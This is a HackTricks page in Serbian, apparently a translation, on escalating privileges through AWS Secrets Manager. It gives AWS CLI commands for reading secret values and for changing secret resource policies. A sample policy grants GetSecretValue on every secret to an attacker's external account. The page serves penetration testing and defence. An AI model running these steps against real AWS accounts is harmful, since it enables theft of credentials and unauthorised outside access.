AWS - Secrets Manager Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Upravljanje tajnama

Za više informacija o upravljanju tajnama, pogledajte:

AWS - Secrets Manager Enum

secretsmanager:GetSecretValue

Napadač sa ovlašćenjem može dobiti sačuvanu vrednost unutar tajne u AWS Secretsmanager-u.

aws secretsmanager get-secret-value --secret-id <secret_name> # Get value

Potencijalni uticaj: Pristup visoko osetljivim podacima unutar AWS usluge za upravljanje tajnama.

secretsmanager:GetResourcePolicy, secretsmanager:PutResourcePolicy, (secretsmanager:ListSecrets)

Sa prethodnim dozvolama je moguće omogućiti pristup drugim principima/računima (čak i eksternim) za pristup tajni. Napomena da bi korisnik mogao čitati tajne koje su šifrovane KMS ključem, takođe mora imati pristup nad KMS ključem (više informacija na KMS Enum stranici).

aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json

policy.json:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AllowListSecrets",
            "Effect": "Allow",
            "Action": [
                "secretsmanager:ListSecrets"
            ],
            "Resource": "*"
        },
        {
            "Sid": "AllowGetSecretValue",
            "Effect": "Allow",
            "Action": [
                "secretsmanager:GetSecretValue"
            ],
            "Resource": "arn:aws:secretsmanager:us-west-2:123456789012:secret:MySecret"
        }
    ]
}

This policy.json file contains the permissions defined for an AWS Secrets Manager. The policy allows the user to list all secrets (secretsmanager:ListSecrets) and get the value of a specific secret (secretsmanager:GetSecretValue). The Resource field specifies the ARN (Amazon Resource Name) of the secret that can be accessed. In this case, the ARN is arn:aws:secretsmanager:us-west-2:123456789012:secret:MySecret.

{
"Version" : "2012-10-17",
"Statement" : [ {
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : "secretsmanager:GetSecretValue",
"Resource" : "*"
} ]
}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated